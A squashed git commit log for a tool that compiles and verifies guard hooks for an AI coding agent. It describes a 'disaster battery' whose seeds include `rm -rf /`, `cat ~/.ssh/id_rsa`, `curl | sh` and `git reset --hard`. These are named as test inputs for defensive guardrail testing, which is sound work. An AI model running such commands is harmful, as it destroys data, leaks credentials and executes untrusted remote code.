✗ CLAUDE.md: File not found: "src/test-tier-nudge.test.ts"
Renaming that test to `.hook.test.ts` (so its `{surface}` name binds) left a
`file()` keyFile in CLAUDE.md.spec.ts pointing at a path that no longer
exists. This one is worth naming plainly: it is the cross-referencing engine —
the thing this product IS — catching its own author's stale reference, minutes
after the rename, exactly as designed.
Also indexes what the rename left undocumented: `.vigiles/hooks/docs-drift-nudge.hook.mjs`
and its test now have keyFiles, and the tier-nudge entry says WHY the file is
named `<surface>.hook.test.ts` — a hook's `{surface}` name carries `.hook`, which
is what binds it under the `include` globs in .vigilesrc.json. Without that
sentence the next rename repeats this.
HOW BOTH GOT THROUGH, since the cause is procedural rather than technical: after
adding the hook I ran targeted vitest and prettier instead of `npm run check`,
and the re-run after that was taken from a tree I was still editing — a gate on a
moving tree measures a state that never existed. Both are the `run-the-gates`
rule, failed in two different ways within twenty minutes.
Gates on a settled tree: build · types:root · types:test · types:site · jest ·
api-surface · prettier — all RC=0. `cli-lint` red with every finding inside
`.claude/worktrees/` (gitignored, CI never sees it). `generated-types:committed`
red only because the regenerated artifact was uncommitted at the time — this
commit is what makes it green.
Co-Authored-By: Claude Opus 5 <noreply@anthropic.com>
* feat(hook): reject a tool matcher that names no real tool
`compileHookProgram` cross-references the `on:` event against the harness
catalog, so a typo'd EVENT fails the build. It did not do the same for the tool
matcher, and the existing check there validates REGEX SYNTAX only — so
`tools("Edt")` parses fine, compiles, wires a matcher `Edt`, and the hook never
fires. Same defect the event check exists to kill, on the axis it did not cover.
WHY THIS IS NOT A UNION TYPE, which is the obvious answer and the wrong one: a
tool matcher IS a regex — that is why `tools("Edit|Write")` works, and
`tools("mcp__github__.*")` is documented-correct. A literal union would reject
both. So the check reads only entries with NO regex metacharacter as literal
NAMES, which is exactly the spelling a typo produces. A fully-spelled MCP tool is
skipped inside verifyToolContract itself (dialect.mcpToolPattern), so it passes
on both counts.
Reuses verifyToolContract + authoringIssues — the same detector the subagent
tool-contract rule runs, so the hook matcher and the subagent contract cannot
drift into two vocabularies (one-detector-no-drift).
Both directions tested, and MUTATION-PROVEN with the patch grepped as landed:
disabling the throw fails exactly one test ("a typo'd tool NAME in match does NOT
compile"); restoring returns 98/98. The second test pins what must KEEP
compiling — a real name beside `mcp__github__.*` and a spelled-out MCP tool.
🔴 AND THE GATE CAUGHT A REGRESSION THE TESTS COULD NOT. `api-surface` failed
with one line — `// @public` → `// @public (undocumented)`. Inserting the
REGEX_META const put it BETWEEN `invalidToolPatterns`'s JSDoc and its
declaration, so the comment documented my constant and the real function went
bare. That is verbatim the failure `ship-a-feature` was written after
("inserted between verifyGuardrail's JSDoc and its declaration; the diff said
so, nobody read it"). Fixed by moving the comment back, NOT by regenerating —
`api:report` would have committed the degraded surface and called it green.
api:check now passes with the surface UNCHANGED, which is the correct outcome
for adding an internal const.
Gates: build RC=0 · tsc --noEmit RC=0 · api:check RC=0 (surface unchanged) ·
vitest hook-program 98 passed · prettier RC=0 · `npm run check` red only on
`cli-lint`, entirely inside `.claude/worktrees/`.
Co-Authored-By: Claude Opus 5 <noreply@anthropic.com>
* fix(site): the landing page showed a hook that no longer compiles
The Guard section's headline sample — the first compiled hook a visitor ever
sees — opened with a symbol deleted from the vocabulary earlier today:
import { experimental_defineHook, tool, deny, allow } from "vigiles/hook";
export default experimental_defineHook({
on: "PreToolUse",
match: tool("Bash"),
`tool()` is gone. A bash gate is Bash BY CONSTRUCTION — `BashToolEvent.tool` is
the literal "Bash", the matcher is emitted for the author, and the field existed
only to be got wrong (`match: tool("Edit")` type-checked, compiled, wired an Edit
matcher, and never fired). Removing it is the fix; the site kept advertising it.
So a reader copying the landing page's own example got a build error on line 1,
and the file's header claims the snippet is REAL — "node dist/cli.js hook-runtime
run-program <this file> # via verifyGuardrail" — which makes it a claim about
executed code rather than an illustration.
🔴 WHAT THIS SAYS ABOUT THE HOOK SHIPPED TWO HOURS AGO. `docs-drift-nudge` exists
to catch exactly this: product code changed, the prose describing it did not. It
would NOT have fired here. It watches `src/**` for the trigger and treats
`docs/**`, README and CLAUDE.md.spec.ts as the docs — a `.tsx` under `site/` is
neither, so the site is invisible to it in both directions. The landing page is a
front door under `cohesive-feature-delivery`, and the nudge does not cover it.
Recorded here rather than widened in the same commit: the trigger set is a
calibration question (a `site/` edit is often styling, not a claim), and widening
a nudge on a hunch is how a nudge gets muted.
Gates: prettier --check RC=0 · `npm --prefix site run test:browser` RC=0 —
7 files, 49 tests.
Co-Authored-By: Claude Opus 5 <noreply@anthropic.com>
---------
Co-authored-by: Claude <noreply@anthropic.com>
* feat: sweep the disaster battery across every hook a repo declares
`verifyGuardrail` takes a command string. #211 taught it to honour a hook's
`if` condition, but only when the caller passes it — its own comment has to
ask. That left "forgot to pass the condition" reachable, and reaching it
reproduces the exact false 7/7 #211 existed to kill: a narrow force-push
guard certified as stopping `rm -rf /` and `cat ~/.ssh/id_rsa`.
`experimental_verifyPluginGuards(dir, opts?)` takes a DIRECTORY instead. It
reads the command, event, matcher and condition off the same registration
(loadPlugin -> normalizeHooks), so the pairing cannot be made wrongly.
Per hook it returns a discriminated union, not a score with nullable fields:
measured the battery reached it; results/blocked/allowed/notRun
not-applicable another event, or a matcher selecting no battery tool
unresolved the command names a variable nothing sets
Reading the score of a hook that never ran is a tsc error rather than a 0/7
someone quotes. A repo with no hooks — or none reachable — says so in
`notes`, because `hooks: []` on its own reads as a clean bill of health,
which is the same false confidence this battery exists to remove.
It reports and does not judge: no throwing sibling, because a repo's config
never declares which of its hooks is meant to be a guard.
`assertBlocksDisasters` stays the gate once you have said so yourself.
Harness-agnostic with Claude Code as the default, the runHarnessTest shape —
every piece it composes already takes its harness by injection, and a
shellHooks:false adapter reports n/a in words rather than an empty pass.
Also exports `hookMatcherSelects` from core/hook-matcher.ts so the measured
matcher semantics have one home; it fails open in the same direction
`decideHookCondition` does, so a wrong answer can only ever say "ran and did
not block", never invent a skip.
Tested in both directions over a fixture plugin carrying all five shapes, the
real vendored davila7 guard, a Codex-shaped repo, and the opencode prototype.
Two mutations verified: dropping each hook's own condition brings the 7/7
back (3 assertions red), and ignoring the hook's event turns a Stop hook into
a measured 0/7 (4 red).
Co-Authored-By: Claude Opus 5 <noreply@anthropic.com>
* feat: render a plugin-guard sweep, without giving an unmeasured hook a number
`experimental_verifyPluginGuards` returned a discriminated union and nothing to
print it with, so the one use case it exists for — "point the battery at YOUR
hooks" — was a six-line fold over that union at every call site. That is a worse
code block than the two-liner it replaces, and `cohesive-feature-delivery` row 9
(output parity) could not be claimed.
`experimental_formatPluginGuardReport(report)` renders it as terminal text, and
its contract is that the union's honesty survives becoming a string:
measured prints `blocks n/7` and one row per battery event
not-applicable prints its REASON under a ⊘ heading, and no count
unresolved likewise
notes printed FIRST and in full
A rendered `0/7` beside a hook the battery never reached would reintroduce, one
layer above the type system, exactly the false confidence the union was built to
make unrepresentable. So it is asserted directly and in both directions: for a
sweep that measured nothing the output must match no `n/m` at all, and must
carry the sentence saying nothing was measured. Mutating the formatter to print
`blocks 0/7` for a not-applicable hook fails that assertion and three others.
MANY HOOKS stay readable by grouping the unmeasured half BY REASON — a repo with
thirty hooks usually has two or three — and naming at most three hooks per
reason before counting the rest. That is the only lossy step, and it is confined
to the half whose payload is the reason rather than the hook; the measured half
is never collapsed, since those are the hooks you came for.
The per-event rows come from a shared `guardrailRow`, so this renderer and
`formatGuardrailReport` cannot drift into two vocabularies for the same three
outcomes; `formatGuardrailReport`'s output is byte-identical.
The prefix is on the name because the report SHAPE is documented as likely to
move, and a stable formatter pinned to an unstable shape is a lie. It comes off
with the same change that takes it off the sweep.
Co-Authored-By: Claude Opus 5 <noreply@anthropic.com>
* fix: four ways the guard sweep answered for a hook it could not run
An automated review of #212 found four, and all four move the same way:
toward measuring less. Each has a test that failed before the fix.
1. An UNCOMPILABLE matcher scored 7/7. `hookMatcherSelects` failed open on
every uncertain input, reasoning that imprecision can only add a run the
harness makes. That reasoning holds where the harness fails open, and this
is where it fails closed: the same module already reports `Bash(` as
invalid-regex, "the harness can't compile it, so the hook never fires".
So the sweep ran the battery against a hook the harness never spawns, and
an unconditional-deny body came back blocking all seven disasters — the
exact false 7/7 #211 removed, arriving through the matcher instead of the
condition. The predicate is now `hookMatcherReach`, three-valued, and an
uncompilable matcher is `not-applicable` with the matcher named.
2. Codex matcher semantics were ignored. `HookProtocol.matcherStyle` already
says all Codex matchers are regexes; the helper applied Claude Code's
literal-equality rule globally, so `ash` — which regex-matches Bash — was
classified n/a and never tested. The style is threaded through.
3. Variables the command sets for itself read as unresolved. A `$NAME` regex
over shell called two self-contained commands unresolvable: one that
assigns the name before expanding it, and one written inside single
quotes, where the shell expands nothing. Both are real guards that went
unmeasured for a reason untrue of them. Reads now come from the shell's
own parser (core/shell-vars.ts, the mvdan-sh parse bash-effects uses); a
parse failure falls back to the regex and says so.
4. Adapter-declared event variables were not supplied. `eventEnvVars` exists
to say what a synthesized hook event carries, and the sweep synthesizes
one, so a Codex hook reading `$hook_event_name` or `$cwd` was unresolvable
for lack of a variable the harness would have set. Now populated from the
declaration. Deliberately NOT populated: `permission_mode`, `session_id`,
`model` — the sweep does not know those, and a guard branching on an
invented permission mode is a measurement of a program we made up.
The direction is the same in the ambiguous places: refuse to score rather
than score optimistically. `*` and `**` on a regex-matcher harness come back
uncompilable rather than assumed to be special-cased; an expansion with a
default counts as a dependency; a parse failure over-reports.
Co-Authored-By: Claude Opus 5 <noreply@anthropic.com>
* fix: five ways the guard sweep answered for a hook it never ran
Two came from pointing the instrument at a real OSS corpus; three more from
an automated review of #212. All five are one class — we run a DIFFERENT
program than the harness runs, and record a score anyway — and all five move
the same way: refuse rather than answer. Each has a test that failed first.
1. A hook whose SCRIPT IS MISSING scored 7/7. `python3 <missing>.py` exits 2,
and 2 is Claude Code's deny code, so a guard that does not exist was
certified as stopping every disaster in the battery. Worse than the
uncompilable-matcher door fixed last round, which at least needs a
malformed config: a relative script path is the commonest hook shape in
the wild, and the campaign hit this three times in one run.
THE EXIT CODE CANNOT DECIDE IT, and this repo already knew: run-script.ts
says so in prose for its own coverage attribution ("`sh <missing>` exits 2
... indistinguishable from a gate legitimately denying, so it cannot be
encoded"). The fact was written down one module away and the sweep scored
on it regardless. So the question is asked in two halves that no single
signal covers. BEFORE the run, core/command-files.ts names the files the
command hands a program to execute, and an absent one is `unresolved` --
no score at all, which is the assertion the mutation targets. AFTER it,
a shell exit of 126/127 means the program never launched (missing
interpreter, no execute bit, bad shebang); that is the shell's own code,
not a language's convention and not a guess about stderr text, and
`shellNeverLaunched` is now shared with run-script.ts rather than copied.
The pre-flight narrowing is MEASURED, not taste. Over davila7's 107 real
hook registrations, "any path-shaped operand" hits 31 with 8 wrong -- files
a hook writes or later reads, plus `echo N/A`, which contains a slash --
while "interpreter head OR script extension" hits 23 with 0 wrong.
2. `**` was in MATCH_ALL on no evidence, and that direction MANUFACTURES AN
ACCUSATION: a guard registered under it came back "allows 0/7", reported
as letting seven disasters through, about a hook the harness never spawned
-- the exact mirror of scoring one that could not start. Measured here
against claude 2.1.263 with a marker file as the oracle: `*`, `.*` and `""`
fire on a Bash call and `**` does not, with `.*` as the in-run control and
a hand-run `*` swap ruling out "only the first hook per event fires".
Pinned by src/hook-matcher-delivery.test.ts, the shape subagent-delivery
already uses: prose cannot notice that someone else's product moved.
3. Variables were checked against `process.env`, which a CONFINED run does
not have. `trusted: false` starts from --clearenv and restores only
HOME/TMPDIR/PATH plus the caller's env, so a foreign hook reading an
ambient variable was measured with it missing. The availability set now
follows the execution MODE, decided by the same `decideSandbox` policy the
runner uses, and `hookEnvironment` returns three fields because they answer
three different questions: what is passed, what the hook will find set, and
the subset whose value is known here (a confined HOME points at a sandbox
temp dir, so it is present without being resolvable).
4. `layout.projectRootTokens` were never supplied, so `$CLAUDE_PROJECT_DIR`
-- what an ordinary project hook reads, including this repo's own -- read
as unresolvable while the harness supplies exactly the root being swept.
5. Assignment subtraction ignored execution order, and this one is worth
naming plainly: the parser rewrite an hour earlier removed two ways to be
wrong and added a third, in the worse direction. Subtracting every assigned
name globally excused a read the assignment never reached. Measured against
/bin/sh with the name exported first, `echo "$X"; X=1` and
`FOO=1 sh -c "echo $FOO"` both print the AMBIENT value -- so both really do
read the environment. Two existing tests asserted the opposite; they were
the defect written down, and are corrected with the measurement in place of
the argument. The rule is now dominance, not membership, and a prefix,
subshell or function-body assignment excuses nothing.
Where a claim about someone else's product is load-bearing it is pinned by a
test against the real binary, not restated: #2 was re-measured here rather
than taken from the report that found it.
Co-Authored-By: Claude Opus 5 <noreply@anthropic.com>
* fix: three more doors to a score for a hook that never ran
Review found five; four were real and one measurement had to be redone
before the fifth could be. All four are the same class the branch exists
to close: `sh` exits 2 both for a hook that legitimately denied and for a
hook that never ran, so anything reaching the spawn that should not have
comes back as a perfect 7/7.
SYNTAX ERROR SCORED AS A BLOCK. `commandFileRefs` returns
`{ parsed: false, refs: [] }` for a command the shell parser rejects, and
the caller read only `refs` — so an unparseable command looked exactly
like a clean one. Measured on the build before this commit:
hook `echo "unterminated` → MEASURED blocks=7/7 exits=2,2,2,2,2,2,2
The parse verdict is now decided first, ahead of the variable check too:
`shellVarReads` falls back to a regex when the parse fails, so it still
named `$FOO` in `echo "$FOO` and the sweep blamed an unset variable for a
syntax error, telling the caller to pass `env` for a command no `env`
could have saved.
PRE-FLIGHT AND RUNNER LOOKED IN DIFFERENT DIRECTORIES. `sandboxedSpawn`
chdirs into a `work/` directory it has just created and left empty when
no `cwd` is given, while the missing-file check resolved against
`process.cwd()`. Same guard, same command, two directories:
project dir → exit 0 (the guard's real verdict: allow)
fresh empty dir → exit 2 (cannot open its script = DENY = a block)
So a guard that allows was reported as blocking, out of nothing but the
mismatch. `effectiveCwd` now derives the run's directory from the same
policy the runner uses; a relative ref under confinement-without-`cwd` is
unresolvable by construction, and an absolute one is still tested on disk
because `/` stays ro-bound in there.
THE PROJECT IS NOT THE PLUGIN. `$CLAUDE_PROJECT_DIR` and `$CLAUDE_PROJECT`
were bound to the swept dir, which is right only while the two coincide.
Sweeping an installed plugin against a host project — `dir` the plugin,
`cwd` the project — pointed an ordinary project hook at the wrong tree:
measured before this commit, a hook reading `$CLAUDE_PROJECT_DIR` came
back `unresolved — not on disk here` for a script sitting in the project
all along. The plugin-root token still follows `dir`; the project tokens
and Codex's `$cwd` follow the run.
SOURCE ORDER IS NOT CONTROL FLOW. An assignment excused a later read
whenever its offset came first, so `false && MODE=safe; [ "$MODE" = safe ]`
suppressed `MODE` although the shell goes on reading the environment —
and under confinement the sweep clears it, so it would have measured the
other arm of the guard. The denylist of non-persisting assignments is now
an allowlist of unconditional ones (a top-level `NAME=value`, or an
`export`/`readonly`/`declare`), which makes the unlisted construct default
to excusing nothing rather than to excusing everything. The old rule was
wrong on four of five measured shapes: `&&`, `if`, `&`, and a pipeline.
AN EXTENSION IS NOT A LICENCE TO EXECUTE. `rm -f /tmp/stale.sh` — an
ordinary cleanup hook whose file is meant to be absent — was reported as
running a missing script, because the extension test ran independently of
the head. It is evidence about the FILE, not about the command, so it now
requires a head that could execute: a known data-only head silences it, an
unknown head still carries it.
Re-measured before narrowing, since narrowing that loses a true positive
would be worse than the false positive it fixes. The pinned corpus behind
the original table (107 registrations, 23 hits, 0 wrong) has moved, so
this is a second sample rather than a reproduction: today's
davila7/claude-code-templates gives 134 registrations / 120 distinct
commands and 5 hits, all true positives reached by an interpreter head or
a head that is itself a path — 5 before the clause, 5 after. Both numbers
are recorded in the module header, labelled as different corpora.
Each fix is pinned by a test proven with a mutation: dropping the parse
gate, ignoring confinement in the pre-flight, collapsing project onto
plugin, restoring source-order dominance, and removing the head check each
fail on their own assertion, with the patch grepped in source and dist.
Two existing tests caught the allowlist being too narrow while it was
being written — `export NAME=value` is a DeclClause, not a CallExpr — and
that gap is now handled and covered.
Co-Authored-By: Claude Opus 5 <noreply@anthropic.com>
* fix: three hand-kept copies of a fact that already had one source
Review's second round left five findings. Three are the same defect wearing
different clothes — a fact with ONE authoritative source, restated by hand
somewhere else, where the copy fell behind — so they are closed as classes
rather than patched as places. Two are their own bugs.
DERIVE, DON'T RESTATE
CONFINEMENT. The sweep kept its own copy of the runner's mode expression and
did not know `recordEgress` confines. So a `recordEgress` sweep pre-flighted a
relative script against the host's cwd and env, accepted it, and handed it to a
run that starts in a fresh empty directory with a cleared environment — where
`sh` cannot open the script and exits 2, this harness's DENY code, scored as a
block. `routeScriptRun` is now the one decision: `runScriptWith` dispatches on
it and owns no policy of its own, and the pre-flight asks it. There is no list
here left to fall behind — a future option that selects confinement is added
once, in the runner, and both readers inherit it.
WRAPPERS. `commandFileRefs` read `args[0]` as the head, so `env python3 guard`
named no file at all and the same exit-2 door opened. `stripWrappers` already
owns the wrapper list for the effect classifier, so it is exported and ASKED,
not copied: env / command / timeout / sudo / nice / xargs / nohup, recursively,
skipping each wrapper's own options and `NAME=value` words.
NOT fixed, and said out loud in the code and pinned by a test so it is
recorded rather than rediscovered: `exec` is a pass-through that list does
not carry, and `stripWrappers` has its own recorded remainder (an escaped
head behind a wrapper, `sudo g\it push`). Both belong in that module, where
the safety matcher reads the same list and a change deserves the measuring
a matcher change deserves — not in a private copy here.
EXECUTION CWD. The pre-flight tested files against the CALLER's directory while
the project-root variables named the swept root: two trees, one run. A guard on
disk exactly where its config says was reported `unresolved`; and where the
caller happened to hold the same relative path, the sweep ran and SCORED the
caller's file under the swept repo's name. `effectiveCwd(opts, root)` answers
once, defaults to the swept repository, and the runner is handed that same
answer. An explicit `cwd` still overrides — the installed-plugin case, where
hooks are READ from the plugin and RUN against a project elsewhere.
TWO ORDERING BUGS, THEIR OWN
A read inside an assignment's own initializer is never dominated by that
assignment: the shell expands the RHS and only then binds the name. Keyed on
the assignment's START offset it was, because the walk is preorder — the
`Assign` was recorded before its own `ParamExp` was visited. So
`MODE="$MODE"; [ "$MODE" = strict ]` reported NO dependency, and under
confinement the sweep cleared an ambient value without reporting it unresolved
and scored whichever branch the empty value took. Keyed on the END, the
containment falls out of the arithmetic instead of needing a special case.
`prompt` / `http` / `mcp_tool` / `agent` are real hook actions. `normalizeHooks`
drops them correctly — nothing that spawns a shell can drive one — but the sweep
read the empty list as "No hooks are declared", which is an accusation about the
repository rather than a limit of the tier, written in the one sentence this
report exists to get right. They are carried now as `report.unmeasurable` and
reported declared-and-NOT-measured in the notes, the census and the rendering;
the mixed case is counted too, because a reader who sees six measured hooks
cannot otherwise know a seventh went unexamined.
MUTATIONS
Six, each reverting a fix to its old shape, each failing on its own assertion.
Two passed GREEN first, and both were findings about the tests:
- `routeScriptRun`'s unit tests pinned the ROUTER, but nothing pinned that
the SWEEP asks it, so restoring the hand-kept copy went green. Added.
- the cwd fixture's guard DENIED — and `sh missing.sh` also exits 2, so a
correct measurement and a total failure to find the file both read 7/7.
The fixture now ALLOWS, making the right answer 0/7: the one thing the
false 7/7 cannot be confused with. That is this branch's own bug class,
found inside its own test.
No published number moves. `WRAPPER_HEADS` is untouched (the bash-effects diff
is a doc comment and an `export` keyword): 7 seeds, 136 alternate spellings and
the 2/7 -> 7/7 dogfood all unchanged.
Co-Authored-By: Claude Opus 5 <noreply@anthropic.com>
* docs: name the one class five review findings belong to
`blocked` is decided by exit code 2, and an interpreter that cannot start
its script also exits 2 — so a guard that never ran and a guard that denied
are the same observation. The preflight that resolves a hook's script is a
proxy for "did it run", and review has defeated that proxy five times. Two
are fixed on this branch; three are not, and patching them individually
would buy one spelling each while leaving the class open — extracting a
script path from an arbitrary shell command is the same undecidable problem
bash-effects.ts already documents for itself.
Names the three open spellings and points at the fix that closes the class:
a control probe, one benign command the guard must allow, run beside the
battery. Blocked too means the program is failing to start, not blocking,
and the hook is unmeasurable rather than scored.
Comment only; no behaviour change. Follow-up: #213
Co-Authored-By: Claude Opus 5 <noreply@anthropic.com>
* fix: a hook rejected by its own condition was scored, not excused
Matcher `Bash` with `if: "Bash(terraform apply*)"` reaches the battery by
matcher and matches none of it by condition. Every entry in `ran` came back
`ran: false`, and the hook was still returned `measured` — so the renderer
printed `blocks 0/7` and `sweepNotes`, seeing a measured hook, stayed silent.
A guard the harness never spawned, reported as a guard that blocks nothing.
That is the same false verdict as the other three non-verdicts and in the
unsafe direction, so it gets the same shape: `not-applicable` with its own
reason naming the condition, and no score anywhere. The module header said
THREE things are not a verdict; the condition is the fourth and it now says so.
Decided AFTER the run rather than before, deliberately: `ran: false` IS the
runner's own condition verdict, so this reads the decision the harness would
make instead of re-deciding it beside `decideHookCondition`. It costs nothing,
because a rejected condition never spawns a process either. `ran` is non-empty
(an empty `reachable` returned earlier) and a launch failure already returned
`unresolved`, so every `ran: false` left is a condition rejection.
The sole-hook path falls out: a repo whose only hook was that one now measures
nothing, and `sweepNotes` reaches its "none of them reachable / Nothing was
measured" branch instead of rendering an empty score.
Four tests, and the boundary is pinned in both directions — a condition
matching PART of the battery must still score. Mutations: removing the
classification reddens three assertions (`expected 'measured' to be
'not-applicable'`); widening `every` to `some` reddens seven, including the
partial-condition guard and the vendored davila7 hooks.
Also records two review findings as KNOWN REMAINDER (#213) rather than
patching them. Both fail toward UNDER-reporting — a real guard reads
`unresolved`, nothing is falsely scored — and both were reproduced: an
unexpanded `~` probes `<cwd>/~/.claude/…` so a guard present at $HOME is
called missing, and `$PWD` is absent from the confined name set though
/bin/sh sets it after bubblewrap's --chdir (same command: 7/7 unconfined,
`unresolved` confined). Fixing either by resolving harder is the reflex the
block already argues against.
Co-Authored-By: Claude Opus 5 <noreply@anthropic.com>
---------
Co-authored-by: Claude <noreply@anthropic.com>
verifyGuardrail certified guards it never ran. Claude Code hooks carry an `if:` permission-rule pattern deciding whether the hook runs at all; vigiles never read it, so a real vendored hook whose body is an unconditional deny scored 7/7 blocked — certifying it stops rm -rf /, git reset --hard, an SSH-key read and curl | sh. It now reports 1/7 blocked and 6 not run, each with its reason. The condition is evaluated rather than reported unknown because Claude Code's own matcher fails open, so mirroring that asymmetry can only add a run, never invent a skip.
clear() erased other hooks' state. Hooks in one directory deliberately share a store — that is what lets one read a fact another recorded — so removing the directory reset unrelated hooks. It now deletes only entries whose `by` names this hook, verified to agree between the runtime writer and seed() across three path shapes.
The site showed numbers nobody measured: a blurred `recall 92% · precision 100%` sat beside a real grade of the repo a visitor types in, two screens above copy mocking unverified numbers in other people's READMEs. Replaced with em-dash placeholders, as this repo's own landing-site skill had already ruled in writing. Wedge no longer claims breadth that `claude plugin validate` covers.
Each fix carries a mutation proof with the patch grepped in source and in dist before the run.
Ten launch blockers, all sharing one cause: a first reader gets a false claim or an embarrassing failure in their first ten minutes.
Fixes: ruff enabled-state was never read on a real repo; compile was unreachable without node_modules/vigiles (every Python/Rust/Go repo); a hooks-only plugin graded F/0 while its own report listed inlineHooks: 2; skill-resource findings printed a body-relative line number; the README quoted a caveman number its own FINDINGS.md had invalidated; STABILITY.md claimed v21 against 26.0.1; the Action's floating v1 tag was never created; a react's notice() reached nobody.
Features: experimental_hookState, so a stateful compiled hook can be tested by backdating the fact it throttles on; the site now leads with the proof (compiled hooks, the disaster battery, 2/7) and its OG card is rendered rather than hand-drawn, with a generator that fails loud if the page fetches anything off file:.
Also: this repository's first compiled hook, which is what exposed the notice-delivery defect; a floor under the harness CI job, which was green on zero files; and a smoke test of the PUBLISHED package, since every gate until now ran dist/.
`.vigilesrc.json#exclude` was honoured by 3 of 11 discovery walks, and the walks
that did honour it disagreed on the dialect: glob's string `ignore` treated bare
`bench` and `bench/` as matching nothing, while the minimatch helper accepted
them. One `ExcludeSet` is now parsed where `loadConfig()` runs and taken as a
REQUIRED parameter by every in-scope walk in cli.ts — the shape that let
`findSpecs` go a year without it was optional-with-default, which compiles
silently. Closes#192.
The disaster battery now generates its own inputs: `experimental_alternateSpellings`
(renamed from `equivalentDisasters`) re-spells hook test cases so the shell
executes them identically — nine families, 7 seeds to 136 spellings. Five of
those came from a normalizer fix: `g\it push --force` runs git but was not
matched by `runs("git push")`.
That fix then had to be scoped, because CI caught the regression it caused:
escapes are resolved for the HEAD and FLAG-shaped operands (what the command IS)
and never for a path operand (where it WRITES) — the same bytes are a resolved
escape to `sh` and a real Windows UNC path on Windows, and fail-closed keeps the
path. Both directions pinned by mutation.
Also: `spec-refs` and `duplicate-rules` had a meta and a doc but no row in the
canonical rules matrix, and nothing compared either against it. A test now
asserts every rule has a matrix ROW (matched on the table row, not a prose
mention).
BREAKING CHANGE: `findSpecs` changed signature; `orphans` gained a `repoExclude`
option; `equivalentDisasters` was renamed to `experimental_alternateSpellings`
and now takes a required argument. Any repo with an `exclude` key sees it applied
to every pass, so an excluded spec is no longer compiled and an excluded
harness/eval script is no longer discovered.
`claude --effort` sets the reasoning budget per turn. vigiles could not set it,
so an A/B could not reproduce a benchmark that pins one: the arm you ran was not
the arm the author measured (reported in #189, with a real case — a skill whose
published results pin "effort low").
Effort is a MEASUREMENT, not a run knob: it moves the output distribution, not
the sample size. So it lives on the spec beside `model` (never an env), it is an
arm in its own right, and it is hashed into BOTH the eval lock and the local
cache — the reporter named only the lock; the cache key carried `model` without
effort in exactly the same way, and fixing one would have left half the hole.
Three things that are not in the reported shape:
- THE ENV PIN. Effort has three inputs — the flag, the `effortLevel` settings
key, and CLAUDE_CODE_EFFORT_LEVEL — and the env var outranks the flag, while
EPHEMERAL_ALLOW_PREFIXES passes `CLAUDE_*` through by design. So an ambient
value survives even the scrubbed ephemeral env. Hashing effort WITHOUT pinning
it would make the lock confidently wrong: `low` recorded over a run that
executed at the shell's `max` — the defect this feature exists to prevent,
reintroduced by the fix for it. Declared sets the var; OMITTED deletes an
inherited one, so "omit" means the harness default rather than whatever the
machine exported.
- NOT A LITERAL UNION. The binary is case-insensitive, keeps an alias map, and
accepts an integer budget; its valid set already MOVED between builds (2.1.42
had no `xhigh`). A hard-coded union would reject a valid level after any
upstream addition. The silent fallback a union was meant to prevent is not
silent — the binary warns on stderr, which is already captured — so the wrong
value is caught at runtime by `effortRejection`, and a rejected value THROWS
rather than counting as `runError`: an unusable value is deterministic, so
every trial fails it and the report would be a rate over zero samples.
- `harness-test.ts` IS NOT A SITE. That tier runs a scripted mock with a
hard-coded model; effort has no observable effect there. The issue names it;
adding the flag would have been dead argv.
Codex refuses a declared effort loudly instead of dropping it — no mapping has
been measured, and silently recording a budget the run did not use is worse than
refusing. `audit` deliberately gets no CLI flag: it is a local report, not a
reproducibility surface.
`buildAgentArgs` is extracted so the flag is provable at all — the argv was built
inside the `v8 ignore`d spawn, where nothing could assert it.
Measured: `npm run check` 18/18 in 73s; 3462 unit tests, 0 failures.
Eight mutations, each proven to have LANDED. Seven fail on their own assertion.
The eighth stays green and that is a finding about the TEST, recorded in place:
effort reaches the lock hash through two fills (the `withEvalLock` chokepoint and
the per-arm inputs), so removing either alone is green and removing BOTH fails —
overlap across two populations, not a dead line.
One regression caught by the full suite and fixed here: `withEffortGuard` was
written `async`, which converts the wrapped runner's SYNCHRONOUS refusals into
rejected promises — downgrading the foreign-test-runner guard that stops a paid
eval from billing. Now pinned by a test.
Claude-Session: https://claude.ai/code/session_01PrS34j2M8XR12P2QHaBer4
Co-authored-by: Claude <noreply@anthropic.com>
Two constructions, and one live bug that a red-team of #186/#187 turned up.
**THE BUG: #173 was fixed in one compiler out of five.**
`compileClaudeToFile` stopped writing on error. The identical three lines —
write, THEN check errors — sat unchanged in the skill, subagent, railway and
generator compilers, and all four stamped unconditionally. Worse than the
original: `spec-refs` skips non-`claude` specs, so there was no lint-side
backstop either. Reproduced on the built CLI:
$ vigiles compile skills/demo/SKILL.md.spec.ts
✗ [stale-file] File not found: "docs/never-existed.md"
skills/demo/SKILL.md — 256 bytes, stamped
$ vigiles lint .
✓ skills/demo/SKILL.md — hash valid # exit 0
So the comment closing #173 was right about `CLAUDE.md` and wrong about scope.
Guarding four more write sites would leave the class writable — the sixth
compiler gets written the same way. `addHash` now mints a branded
`StampedMarkdown`, `seal()` hands it out only when `errors` is empty, and
`writeArtifact` accepts nothing else. `markdown` stays a plain string because
`adoptDiff` legitimately wants the draft to diff against even when a ref is
stale. An erroring compile has no stamp to give the writer.
**Two constructions from the earlier analysis, kept:**
`RepoRelativePath` — an out-of-repo `.gitignore` entry (#176.8) cannot be
constructed, so the write-site guard is deleted rather than duplicated.
`Record<BlockMechanism, …>` — the block mechanisms are a closed table.
`decideHook` was three `||` terms while `HookOutput` declared a fourth nothing
read (#174); a `||` chain has no shape that can be incomplete. `blockedBy`
reports what fired and `haltsTurn` derives from it, so the next mechanism needs
no new boolean.
Also removed a stale `continue` in `rule-meta.test.ts` — `orphan-docs` was
exempted as "built-in, not in RulesConfig", true when written and false since it
moved into `RulesConfig`, and it excused the rule from the severity comparison.
**A third construction was written, measured, and REMOVED.**
A textual check for "every declared rule's severity is read somewhere" — the
#181 class. Five iterations, each fixing what the last missed, and the third is
why it is gone: with every real read of `orphan-docs` deleted, the suite stayed
GREEN, kept alive by an unrelated `new Set(["orphan-docs"])` in `linters.ts`. It
was green-and-dead for the rule that motivated it. The fourth iteration's own
comment-stripper then ate real code, because `cli.ts` holds glob strings whose
slash-star opens a comment that closes somewhere else.
The reasoning is recorded in the file, along with the structural fix that
belongs in its own PR: the ~30 `check*` functions already share one signature and
are a registry nobody wrote down. `Record<RuleName, RuleRunner>` makes a rule
without a runner a tsc error and collapses `lintExitCode`'s hand-maintained
31-line `||` list — which no textual check can see anyway.
BREAKING CHANGE: `addHash` returns `StampedMarkdown` rather than `string`, and
the four compile results gain a required `artifact`. Reading a result is
unaffected; code that constructs one must supply it.
Four mutations, each landing and failing on its own assertion: write-before-check
restored in the skill compiler; `seal` handing out a stamp on errors;
`repoRelative` no longer refusing escapes; a mechanism dropped from the table.
